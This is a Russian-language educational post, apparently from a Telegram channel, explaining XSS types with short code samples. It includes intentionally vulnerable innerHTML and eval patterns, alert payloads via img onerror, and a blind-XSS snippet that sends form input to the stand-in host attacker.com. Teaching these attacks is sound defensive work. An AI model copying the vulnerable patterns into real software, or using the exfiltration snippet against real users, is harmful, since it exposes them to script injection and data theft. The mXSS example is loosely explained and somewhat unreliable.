Часть 1. О XSS
Часть 2. XSS Типы + примеры
XSS-атаки бывают:
• Сохраняемые, когда вредоносный скрипт сохраняется в БД приложения и запускается у клиента.
<textarea id="comment">
<img src="x" onerror="alert('XSS')">
</textarea>
<button onclick="saveComment()">Submit</button>
<div id="comments"></div>
let comments = [];
function saveComment() {
let comment = document.getElementById('comment').value;
comments.push(comment);
document.getElementById('comments').innerHTML += comment + '<br>';
}
• Отраженные, когда эксплойт не хранится в базе данных и атака происходит через URL, добавляя вредоносный скрипт в тело ответа.
<form method="get" action="/">
<input type="text" name="q">
<input type="submit" value="Search">
</form>
const query = new URLSearchParams(window.location.search).get('q');
document.body.innerHTML += query;• На основе DOM, где страница не меняется на сервере и вредоносный скрипт добавляется в JS в рантайме и никогда не покидает браузер.
<form id="xssForm">
<input type="text" id="userInput" placeholder="Enter text">
<button type="submit">Submit</button>
</form>
<div id="output"></div>
document.getElementById('xssForm').addEventListener('submit', function(e) {
e.preventDefault();
var userInput = document.getElementById('userInput').value;
document.getElementById('output').innerHTML = userInput;
});• mXSS или XSS с мутациями, которая использует механизм очистки и санитайзинга пользовательского ввода браузерами.
<div id="content"></div>
var maliciousScript = document.createElement('div');
maliciousScript.innerHTML = '<img src="x" onerror="step2()">';
document.getElementById('content').appendChild(maliciousScript);
function step2() {
var script = document.createElement('script');
script.innerHTML = 'alert("XSS Attack!")';
document.body.appendChild(script);
}• Blind XSS — подмножество сохраняемого XSS, когда эксплойт может запуститься не сразу и даже в другом приложении.
<form action="http://example.com/submit" method="POST">
<input type="text" name="name" placeholder="Enter your name">
<input type="submit" value="Submit">
</form>
document.forms[0].onsubmit = function() {
fetch('http://attacker.com/log', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({data: document.forms[0].name.value})
});
};• Self XSS — атака, при которой жертва сама запускает вредоносный скрипт через консоль браузера.
<input id="input" type="text" placeholder="Enter text">
<button onclick="execute()">Run</button>
function execute() {
let input = document.getElementById('input').value;
eval(input);
}
Если хотите выпуск 3 части (предотвращение XSS атаки + примеры) ставьте 👍🏼
WEBIK | @gki_webik_ru
